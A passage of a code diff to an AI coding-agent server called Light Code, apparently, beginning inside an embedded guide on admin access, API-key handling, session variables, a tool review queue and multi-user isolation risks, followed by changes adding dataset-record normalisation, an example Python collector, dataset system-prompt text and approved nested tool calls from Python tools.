**Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n "defaultProfileId": "gateway",\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Corporate gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n }\r\n ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1a. Running without the launch link\r\n\r\nThe launch URL carries a one-time token in its fragment, which the page exchanges for a session\r\ntoken. That is right when the browser opens itself and awkward when you are moving the URL by\r\nhand. Two ways to make it less so, in order of preference:\r\n\r\n```bash\r\n# Keep the token, give yourself longer to use it.\r\nnpx @chosengeneration/light-code --handoff-seconds 120\r\n\r\n# No token at all.\r\nnpx @chosengeneration/light-code --no-token\r\n```\r\n\r\nIf a link does lapse, a fresh one is printed in the terminal \u2014 you do not need to restart.\r\n\r\n**What `--no-token` turns off, precisely.** The bearer token is what stops another *process* on\r\nthis machine from driving the agent. Without it, anything that can reach the port can read your\r\nfiles and run commands as you. Light Code already declines to defend against a process running as\r\nthe same user, so this narrows an existing gap rather than opening a new category \u2014 but it is a\r\nreal narrowing, and the banner says so on every start.\r\n\r\n**What it does not turn off.** `Origin` and `Host` are still enforced on every request. Those are\r\nwhat stop the thing people mean when they say a localhost server is dangerous: a page you have\r\nopen in another tab posting to `127.0.0.1`, and DNS rebinding. A browser attaches a foreign\r\n`Origin` and the request is refused; a `Host` that was never bound gets `421`. Verified against a\r\nrunning server with a raw socket, because `fetch` rewrites the `Host` header and testing it that\r\nway measures nothing.\r\n\r\nUse it on a machine you trust, and stop the server when you are done.\r\n\r\n## 1b-i. Being launched by another application\r\n\r\nLight Code is often started *by* something else \u2014 a Streamlit app, a wrapper script, a container\r\nentrypoint \u2014 which already holds the credentials and already has a Python environment set up. Two\r\nthings make that work without duplicating either.\r\n\r\n### The API key can come from the environment\r\n\r\nPut `env:API_TOKEN` in the API key field (or in `auth.apiKeyRef` in the config file) and the key is\r\nread from that environment variable instead of being stored:\r\n\r\n```jsonc\r\n{\r\n "profiles": [\r\n {\r\n "id": "gateway",\r\n "label": "Internal gateway",\r\n "wireFormat": "openai",\r\n "baseUrl": "https://gateway.internal.example/v1",\r\n "model": "gpt-4o",\r\n "auth": { "type": "apiKey", "apiKeyRef": "env:API_TOKEN" }\r\n }\r\n ],\r\n "activeProfileId": "gateway"\r\n}\r\n```\r\n\r\nNothing is written to the keychain, and the variable is read fresh on every request. From Python:\r\n\r\n```python\r\nimport os, subprocess\r\nos.environ["API_TOKEN"] = my_internal_lib.get_apigee_token()\r\nsubprocess.Popen(["npx", "@chosengeneration/light-code"], env=os.environ)\r\n```\r\n\r\n**It must be exported before Light Code starts.** A process cannot see a variable its parent set\r\nafterwards, so a token exported later \u2014 or set only in the parent\'s own shell \u2014 is invisible. If\r\nthe panel shows the key as missing, that is what it is telling you: the variable is not set *in\r\nthis process*. The message names the variable.\r\n\r\n### A token that expires needs a command, not a variable\r\n\r\nThe catch with the above is that **a parent cannot change a running child\'s environment**. An\r\nApigee token is typically good for an hour; a session that outlives it starts failing every request\r\nwith no way back except a restart.\r\n\r\nSo a profile can fetch its own token by running a command \u2014 whatever the parent already uses:\r\n\r\n```jsonc\r\n{\r\n "auth": {\r\n "type": "tokenCommand",\r\n "tokenCommand": {\r\n "command": ["python", "-c", "import my_internal_lib; print(my_internal_lib.get_apigee_token())"],\r\n "fallbackExpirySeconds": 3600,\r\n "refreshSkewSeconds": 60\r\n }\r\n }\r\n}\r\n```\r\n\r\nThe credential logic stays in the one library that owns it, and Light Code never learns how the\r\ngateway\'s auth works. It refreshes proactively before expiry, shares one fetch across concurrent\r\nrequests, and checks the remaining lifetime before opening a stream so a token cannot expire\r\nmid-response.\r\n\r\nIf the command prints JSON instead of a bare token, name the fields:\r\n\r\n```jsonc\r\n{ "tokenPath": "access_token", "expiresInPath": "expires_in" }\r\n```\r\n\r\nNotes worth having in advance:\r\n\r\n- **`command` is argv, never a shell string.** It is spawned directly, so nothing is parsed by a\r\n shell \u2014 no pipes, no redirection, and a path with a space is one argument. Write a script if you\r\n need shell logic; that is a better place for it anyway.\r\n- **Print only the token.** Output containing whitespace is refused rather than sent as a bearer\r\n token, because a warning line prepended to the token produces a 401 that looks like a bad\r\n credential.\r\n- **It runs a program you name**, so it is exactly as powerful as the account Light Code runs\r\n under. It is configured in the config file rather than in the panel, and on a shared server it\r\n has no business in a personal profile.\r\n\r\n### Python without uv or a virtualenv\r\n\r\nIf the environment that launched Light Code already has the libraries your tools need \u2014 a Streamlit\r\napp\'s own interpreter, a conda environment, a container image \u2014 point it at that interpreter and it\r\nwill use it as it is:\r\n\r\n```jsonc\r\n{ "python": { "dynamicTools": "on", "interpreterPath": "/usr/bin/python3" } }\r\n```\r\n\r\nLeave `interpreterPath` unset and it falls back to `python3`, then `python`, from `PATH` \u2014 but only\r\nwhen `uv` is absent. uv is still preferred when it is available, because then Light Code owns the\r\nenvironment and can manage it.\r\n\r\n**In this mode Light Code does not install or remove packages.** That environment belongs to\r\nwhatever started it, and `pip install` into it could break the application serving your users. A\r\ntool whose imports are already satisfied works; one declaring a dependency that is not there is\r\nrefused at creation, naming the package, so you install it the way you install everything else\r\nthere. The Python tab says which mode is in use and why.\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n nothing else substitutes for it. The server becomes a supervisor that launches a\r\n per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
|
|
24554
24554
|
|
|
24555
24555
|
// src/guideHtml.ts
|
|
24556
24556
|
function escapeHtml(text) {
|
|
@@ -39476,13 +39476,76 @@ var datasetPayloadSchema = external_exports.union([
|
|
|
39476
39476
|
external_exports.object({ records: external_exports.array(datasetRecordSchema) }),
|
|
39477
39477
|
external_exports.array(datasetRecordSchema)
|
|
39478
39478
|
]);
|
|
39479
|
+
var WRAPPER_KEYS = ["records", "items", "data", "results", "rows"];
|
|
39480
|
+
var TEXT_KEYS = ["text", "content", "body", "description", "summary"];
|
|
39481
|
+
function toMilliseconds(value) {
|
|
39482
|
+
if (typeof value === "string") {
|
|
39483
|
+
const parsed = Date.parse(value);
|
|
39484
|
+
return Number.isNaN(parsed) ? void 0 : parsed;
|
|
39485
|
+
}
|
|
39486
|
+
if (typeof value !== "number" || !Number.isFinite(value))
|
|
39487
|
+
return void 0;
|
|
39488
|
+
return value > 0 && value < 1e11 ? Math.round(value * 1e3) : Math.round(value);
|
|
39489
|
+
}
|
|
39490
|
+
function normaliseRecord(value) {
|
|
39491
|
+
if (value === null || typeof value !== "object" || Array.isArray(value))
|
|
39492
|
+
return void 0;
|
|
39493
|
+
const row = value;
|
|
39494
|
+
const id = row["id"] ?? row["key"] ?? row["_id"];
|
|
39495
|
+
const textKey = TEXT_KEYS.find((key) => typeof row[key] === "string" && row[key].length > 0);
|
|
39496
|
+
const record2 = {
|
|
39497
|
+
...typeof id === "string" || typeof id === "number" ? { id: String(id) } : {},
|
|
39498
|
+
...textKey !== void 0 ? { text: row[textKey] } : {},
|
|
39499
|
+
...typeof row["title"] === "string" ? { title: row["title"] } : {},
|
|
39500
|
+
...typeof row["url"] === "string" ? { url: row["url"] } : {}
|
|
39501
|
+
};
|
|
39502
|
+
const at = toMilliseconds(row["timestamp"] ?? row["updated"] ?? row["updated_at"] ?? row["date"]);
|
|
39503
|
+
if (at !== void 0)
|
|
39504
|
+
record2["timestamp"] = at;
|
|
39505
|
+
if (row["tags"] !== null && typeof row["tags"] === "object" && !Array.isArray(row["tags"])) {
|
|
39506
|
+
const tags = {};
|
|
39507
|
+
for (const [key, tagValue] of Object.entries(row["tags"])) {
|
|
39508
|
+
if (tagValue === null || tagValue === void 0)
|
|
39509
|
+
continue;
|
|
39510
|
+
if (typeof tagValue === "object")
|
|
39511
|
+
continue;
|
|
39512
|
+
tags[key] = String(tagValue);
|
|
39513
|
+
}
|
|
39514
|
+
if (Object.keys(tags).length > 0)
|
|
39515
|
+
record2["tags"] = tags;
|
|
39516
|
+
}
|
|
39517
|
+
return record2;
|
|
39518
|
+
}
|
|
39479
39519
|
function parseDatasetPayload(value) {
|
|
39480
|
-
|
|
39481
|
-
if (
|
|
39482
|
-
|
|
39520
|
+
let candidate = value;
|
|
39521
|
+
if (typeof candidate === "string") {
|
|
39522
|
+
try {
|
|
39523
|
+
candidate = JSON.parse(candidate);
|
|
39524
|
+
} catch {
|
|
39525
|
+
return {
|
|
39526
|
+
error: `The collector tool returned text rather than records. It must return a list of {"id": ..., "text": ...} dicts. It returned: ${String(value).slice(0, 200)}`
|
|
39527
|
+
};
|
|
39528
|
+
}
|
|
39529
|
+
}
|
|
39530
|
+
if (candidate !== null && typeof candidate === "object" && !Array.isArray(candidate)) {
|
|
39531
|
+
const wrapper = WRAPPER_KEYS.find((key) => Array.isArray(candidate[key]));
|
|
39532
|
+
candidate = wrapper === void 0 ? [candidate] : candidate[wrapper];
|
|
39533
|
+
}
|
|
39534
|
+
if (!Array.isArray(candidate)) {
|
|
39535
|
+
return {
|
|
39536
|
+
error: `The collector tool did not return a list of records. Return a list of {"id": ..., "text": ...} dicts, or a dict with them under "records". It returned: ${JSON.stringify(value).slice(0, 200)}`
|
|
39537
|
+
};
|
|
39483
39538
|
}
|
|
39539
|
+
const normalised = candidate.map((entry) => normaliseRecord(entry) ?? entry);
|
|
39540
|
+
const parsed = external_exports.array(datasetRecordSchema).safeParse(normalised);
|
|
39541
|
+
if (parsed.success)
|
|
39542
|
+
return { records: parsed.data };
|
|
39543
|
+
const first = parsed.error.issues[0];
|
|
39544
|
+
const index = typeof first?.path[0] === "number" ? first.path[0] : 0;
|
|
39545
|
+
const offending = candidate[index];
|
|
39546
|
+
const keys = offending !== null && typeof offending === "object" ? Object.keys(offending).join(", ") : "none";
|
|
39484
39547
|
return {
|
|
39485
|
-
error:
|
|
39548
|
+
error: `The collector tool returned ${String(candidate.length)} item(s), and item ${String(index + 1)} is not a usable record. Each needs a stable \`id\` (the source's own identifier, so a re-sync updates rather than duplicates) and a \`text\` to index. That item had these keys: ${keys}. ` + parsed.error.issues.slice(0, 3).map((issue2) => `${issue2.path.join(".")}: ${issue2.message}`).join("; ")
|
|
39486
39549
|
};
|
|
39487
39550
|
}
|
|
39488
39551
|
var datasetConfigSchema = external_exports.object({
|
|
@@ -39500,6 +39563,24 @@ var datasetConfigSchema = external_exports.object({
|
|
|
39500
39563
|
/** Which vector store to write to. Falls back to the one named for `data`, then the active one. */
|
|
39501
39564
|
storeId: external_exports.string().optional()
|
|
39502
39565
|
});
|
|
39566
|
+
var COLLECTOR_EXAMPLE = `def run(since: int | None = None) -> list[dict]:
|
|
39567
|
+
"""Tickets assigned to the team.
|
|
39568
|
+
|
|
39569
|
+
Args:
|
|
39570
|
+
since: Epoch milliseconds of the last successful sync, or None on the first run.
|
|
39571
|
+
"""
|
|
39572
|
+
rows = my_internal_lib.search(updated_after=since)
|
|
39573
|
+
return [
|
|
39574
|
+
{
|
|
39575
|
+
"id": row.key, # stable: the source's own identifier
|
|
39576
|
+
"title": row.summary,
|
|
39577
|
+
"text": f"{row.summary}\\n\\n{row.description}", # what gets embedded
|
|
39578
|
+
"url": row.browse_url,
|
|
39579
|
+
"timestamp": int(row.updated.timestamp() * 1000), # epoch MILLIseconds
|
|
39580
|
+
"tags": {"status": row.status, "team": row.team}, # flat, strings only
|
|
39581
|
+
}
|
|
39582
|
+
for row in rows
|
|
39583
|
+
]`;
|
|
39503
39584
|
var COLLECTOR_TOOL_GUIDANCE = [
|
|
39504
39585
|
"Writing a collector for a custom dataset:",
|
|
39505
39586
|
"- A collector is an ordinary Python tool. Its `run` returns a list of records, each a dict",
|
|
@@ -39517,7 +39598,18 @@ var COLLECTOR_TOOL_GUIDANCE = [
|
|
|
39517
39598
|
" changed if the source allows; returning everything each time is correct but slower.",
|
|
39518
39599
|
"- Return `[]` when there is nothing new. That is a successful sync, not an error.",
|
|
39519
39600
|
"- Keep credentials out of the tool: read them from the environment or from a file the user",
|
|
39520
|
-
" already has. A tool file lives in the workspace and lands in git."
|
|
39601
|
+
" already has. A tool file lives in the workspace and lands in git.",
|
|
39602
|
+
"",
|
|
39603
|
+
"**Return a list of dicts. Not a string, not a dict of rows, not a formatted report.** The",
|
|
39604
|
+
"common mistake is returning something a person would read; a collector returns something a",
|
|
39605
|
+
"search can index, and anything else is refused when it runs. If the source gives you one",
|
|
39606
|
+
"object, return a one-element list.",
|
|
39607
|
+
"",
|
|
39608
|
+
"A collector looks like this:",
|
|
39609
|
+
"",
|
|
39610
|
+
"```python",
|
|
39611
|
+
COLLECTOR_EXAMPLE,
|
|
39612
|
+
"```"
|
|
39521
39613
|
].join("\n");
|
|
39522
39614
|
|
|
39523
39615
|
// ../../packages/core/dist/mcp/types.js
|
|
@@ -43475,6 +43567,9 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
|
|
|
43475
43567
|
lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", " library and how to use it, a house convention, the shape of an in-house API, a", " gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", " do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', " conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", " it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", ' path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
|
|
43476
43568
|
}
|
|
43477
43569
|
lines.push("", "Charts:", "- **Draw one whenever numbers are easier seen than read** \u2014 a count per folder or per day, a", " value trending over time, a breakdown of a total. Use show_chart; do not print a table of", " figures where a chart would answer the question faster.", "- **Always fill in `detail`** when the numbers count things that can be named \u2014 the subjects,", ' the files, the ids. A bar reading 14 is only useful if "which fourteen?" has an answer, and', " the detail is what lets the user open the bar instead of asking you to search again.", "- Say in `note` where the numbers came from and what they exclude. A chart is believed", " without being checked, so its limits have to travel with it.", "- Series must have exactly one value per category. A mismatch is refused rather than padded,", " because a chart drawn from misaligned data looks correct and is not.", "- After drawing, describe what it shows. Do not recite the numbers again \u2014 they are on screen.", "- **A Python tool can produce the data.** Have it return JSON shaped", ' `{"categories": [...], "series": [{"name": ..., "values": [...], "detail": [[...], ...]}]}`', " and pass that straight to show_chart. That is the intended way to chart anything you have", " analysed in Python \u2014 the tool does the arithmetic, show_chart draws it, and the numbers are", " never retyped by you in between.");
|
|
43570
|
+
if (options.canWriteCollectors === true && (options.datasets ?? []).length === 0) {
|
|
43571
|
+
lines.push("", "Custom datasets:", "- None are configured yet. The user sets one up in Settings, Custom data, by pointing at a", " tool that returns records \u2014 and can ask you to write that tool. If they do, it is an", " ordinary Python tool and the contract is below. Follow it exactly: a collector returning", " the wrong shape is refused when it runs, not when it is written.", "", COLLECTOR_TOOL_GUIDANCE);
|
|
43572
|
+
}
|
|
43478
43573
|
if (options.datasets !== void 0 && options.datasets.length > 0) {
|
|
43479
43574
|
lines.push("", "Custom datasets:", `- The user collects these themselves: ${options.datasets.map((dataset) => `${dataset.name} (${String(dataset.records)} records)`).join(", ")}.`, "- **Use search_data for anything about data the organisation collects itself** \u2014 tickets,", " wiki pages, rows from an internal system. It is the only way to reach these; they are not", " in the codebase and not in the mail index.", "- It searches what has been **synced**, not the live source. If the answer turns on", " something very recent, say when the dataset was last synced rather than implying it is", " current. Do not offer to refresh it yourself \u2014 syncing is triggered by the user.", ...options.canWriteCollectors === true ? [
|
|
43480
43575
|
"- If they want a dataset you cannot find, you can write the collector: it is an",
|
|
@@ -54750,6 +54845,10 @@ var PythonWorker = class {
|
|
|
54750
54845
|
this.options.logger.debug("python worker output", line);
|
|
54751
54846
|
return;
|
|
54752
54847
|
}
|
|
54848
|
+
if (typeof frame.callback === "string") {
|
|
54849
|
+
void this.serveCallback(frame.callback, frame.name, frame.arguments, frame.caller);
|
|
54850
|
+
return;
|
|
54851
|
+
}
|
|
54753
54852
|
if (typeof frame.id !== "number")
|
|
54754
54853
|
return;
|
|
54755
54854
|
const entry = this.pending.get(frame.id);
|
|
@@ -54763,6 +54862,40 @@ var PythonWorker = class {
|
|
|
54763
54862
|
entry.reject(new PythonWorkerError(typeof frame.error === "string" ? frame.error : "The Python tool failed.", typeof frame.traceback === "string" ? frame.traceback : void 0));
|
|
54764
54863
|
}
|
|
54765
54864
|
}
|
|
54865
|
+
/**
|
|
54866
|
+
* Runs a tool on a Python tool's behalf and writes the answer back.
|
|
54867
|
+
*
|
|
54868
|
+
* The rules live in `options.callTool`, which the host supplies — this only carries the
|
|
54869
|
+
* message. Refusing here would put a policy decision in the transport, where nothing can see
|
|
54870
|
+
* the registry, the approval gate or whether anybody is present to answer.
|
|
54871
|
+
*/
|
|
54872
|
+
async serveCallback(token, name, args, caller) {
|
|
54873
|
+
const reply = (payload) => {
|
|
54874
|
+
try {
|
|
54875
|
+
this.child?.stdin?.write(`${JSON.stringify({ callback: token, ...payload })}
|
|
54876
|
+
`);
|
|
54877
|
+
} catch {
|
|
54878
|
+
this.options.logger.debug("python worker: could not answer a callback");
|
|
54879
|
+
}
|
|
54880
|
+
};
|
|
54881
|
+
if (this.options.callTool === void 0) {
|
|
54882
|
+
reply({
|
|
54883
|
+
ok: false,
|
|
54884
|
+
error: "This session cannot call other tools from a Python tool. That is the case during an unattended scheduled run, where nobody is present to approve one."
|
|
54885
|
+
});
|
|
54886
|
+
return;
|
|
54887
|
+
}
|
|
54888
|
+
if (typeof name !== "string") {
|
|
54889
|
+
reply({ ok: false, error: "call_tool needs the name of a tool." });
|
|
54890
|
+
return;
|
|
54891
|
+
}
|
|
54892
|
+
try {
|
|
54893
|
+
const value = await this.options.callTool(name, args ?? {}, typeof caller === "string" ? caller : "a Python tool");
|
|
54894
|
+
reply({ ok: true, value });
|
|
54895
|
+
} catch (error51) {
|
|
54896
|
+
reply({ ok: false, error: error51 instanceof Error ? error51.message : String(error51) });
|
|
54897
|
+
}
|
|
54898
|
+
}
|
|
54766
54899
|
request(method, params, timeoutMs) {
|
|
54767
54900
|
if (this.disposed)
|
|
54768
54901
|
return Promise.reject(new PythonWorkerError("The Python worker has been shut down."));
|
|
@@ -55406,7 +55539,7 @@ function createCreatePythonTool(context) {
|
|
|
55406
55539
|
* script that nothing can call. Both tools write Python to a file; only this one registers
|
|
55407
55540
|
* it, and the description has to make that the obvious reading.
|
|
55408
55541
|
*/
|
|
55409
|
-
description: 'THE way to create a tool when the user asks for one. Writes a Python tool and registers it, so it becomes callable as py__<name> from the next message onwards. Use this \u2014 not write_to_file \u2014 for anything described as a "tool", and for work awkward in shell commands: parsing, data transformation, anything needing a library. Define a `run` function with type hints; the schema and description are derived from the code, so there is no metadata to keep in sync. The user must approve the source before it is saved.'
|
|
55542
|
+
description: 'THE way to create a tool when the user asks for one. Writes a Python tool and registers it, so it becomes callable as py__<name> from the next message onwards. Use this \u2014 not write_to_file \u2014 for anything described as a "tool", and for work awkward in shell commands: parsing, data transformation, anything needing a library. Define a `run` function with type hints; the schema and description are derived from the code, so there is no metadata to keep in sync. The user must approve the source before it is saved. A tool can call other tools: `import light_code` then `light_code.call_tool("py__other", x=1)` or `light_code.call_tool("server__tool", ...)`. Only other Python tools and MCP tools can be reached that way \u2014 running commands, editing files and creating tools are deliberately out of reach from inside a tool body. The user approves each nested call as they would any other, so use it for composing work rather than for slipping past a prompt.'
|
|
55410
55543
|
});
|
|
55411
55544
|
}
|
|
55412
55545
|
function createUpdatePythonTool(context) {
|
|
@@ -55482,7 +55615,7 @@ ${traceback}` : message3, isError: true };
|
|
|
55482
55615
|
}
|
|
55483
55616
|
|
|
55484
55617
|
// ../../packages/core/dist/python/workerSource.js
|
|
55485
|
-
